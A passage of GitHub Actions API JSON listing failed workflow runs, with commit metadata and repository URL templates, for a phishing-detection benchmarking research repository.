","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277963475,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTYzNDc1","head_branch":"master","head_sha":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","run_number":1020,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259387018,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5Mzg3MDE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277963475","pull_requests":[],"created_at":"2020-09-29T05:53:51Z","updated_at":"2020-09-29T06:02:21Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259387018","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Integration test improvements (#240)\n\n* Upload Generated config\r\n\r\n* Fixed Cleanup\r\n\r\n* Upload generate config v2\r\n\r\n* working-directory option\r\n\r\n* Split url_extraction folder","timestamp":"2020-09-29T05:53:49Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277951588,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTUxNTg4","head_branch":"integration_test","head_sha":"4998428bc2ce29c9adb47fb8d67924a915a10b80","run_number":1019,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259354521,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MzU0NTIx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277951588","pull_requests":[],"created_at":"2020-09-29T05:42:35Z","updated_at":"2020-09-29T05:51:34Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259354521","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277951588/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4998428bc2ce29c9adb47fb8d67924a915a10b80","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Split url_extraction folder","timestamp":"2020-09-29T05:42:30Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277899888,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODk5ODg4","head_branch":"integration_test","head_sha":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","run_number":1017,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259222199,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MjIyMTk5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277899888","pull_requests":[],"created_at":"2020-09-29T04:54:38Z","updated_at":"2020-09-29T05:21:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259222199","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","tree_id":"6dc255f5ca7954548231afc2300642e8c0856e9f","message":"working-directory option","timestamp":"2020-09-29T04:54:32Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 